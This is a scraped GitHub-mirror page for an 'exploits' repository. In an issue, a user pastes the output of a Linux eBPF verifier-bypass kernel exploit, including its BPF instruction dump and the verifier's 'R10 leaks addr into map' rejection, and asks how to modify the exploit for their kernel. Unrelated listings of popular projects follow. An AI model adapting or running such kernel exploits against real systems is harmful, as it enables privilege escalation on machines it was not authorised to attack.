rlarabee / exploits Goto Github PK
View Code? Open in Web Editor NEWLicense: GNU General Public License v3.0
License: GNU General Public License v3.0
It returned the following error :
[.]
[.] t(--t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(--t)
[.]
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.]
[] creating bpf map
[] sneaking evil bpf past the verifier
[*] log:
0: (b4) (u32) r2 = (u32) -1
1: (55) if r2 != 0xffffffff goto pc+2
R1=ctx R2=imm-1 R10=fp
2: (b7) r0 = 0
3: (95) exitfrom 1 to 4: R1=ctx R2=inv R10=fp
4: (7b) *(u64 *)(r10 -16) = r1
5: (18) r9 = 0x0
7: (bf) r1 = r9
8: (bf) r2 = r10
9: (07) r2 += -4
10: (62) *(u32 *)(r10 -4) = 0
11: (85) call 1
12: (55) if r0 != 0x0 goto pc+1
R0=imm0 R9=map_ptr(ks=4,vs=8) R10=fp fp-16=ctx
13: (95) exitfrom 12 to 14: R0=map_value(ks=4,vs=8) R9=map_ptr(ks=4,vs=8) R10=fp fp-16=ctx
14: (79) r6 = *(u64 *)(r0 +0)
15: (bf) r1 = r9
16: (bf) r2 = r10
17: (07) r2 += -4
18: (62) *(u32 *)(r10 -4) = 1
19: (85) call 1
20: (55) if r0 != 0x0 goto pc+1
R0=imm0 R6=inv R9=map_ptr(ks=4,vs=8) R10=fp fp-16=ctx
21: (95) exitfrom 20 to 22: R0=map_value(ks=4,vs=8) R6=inv R9=map_ptr(ks=4,vs=8) R10=fp fp-16=ctx
22: (79) r7 = *(u64 *)(r0 +0)
23: (bf) r1 = r9
24: (bf) r2 = r10
25: (07) r2 += -4
26: (62) *(u32 *)(r10 -4) = 2
27: (85) call 1
28: (55) if r0 != 0x0 goto pc+1
R0=imm0 R6=inv R7=inv R9=map_ptr(ks=4,vs=8) R10=fp fp-16=ctx
29: (95) exitfrom 28 to 30: R0=map_value(ks=4,vs=8) R6=inv R7=inv R9=map_ptr(ks=4,vs=8) R10=fp fp-16=ctx
30: (79) r8 = *(u64 *)(r0 +0)
31: (bf) r2 = r0
32: (b7) r0 = 0
33: (55) if r6 != 0x0 goto pc+2
R0=imm0 R2=map_value(ks=4,vs=8) R6=imm0 R7=inv R8=inv R9=map_ptr(ks=4,vs=8) R10=fp fp-16=ctx
34: (7b) *(u64 *)(r2 +0) = r10
R10 leaks addr into map
[!] failed to load prog 'Permission denied'
Do you think if it's possible to modify the exploit to work in this kernel version.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.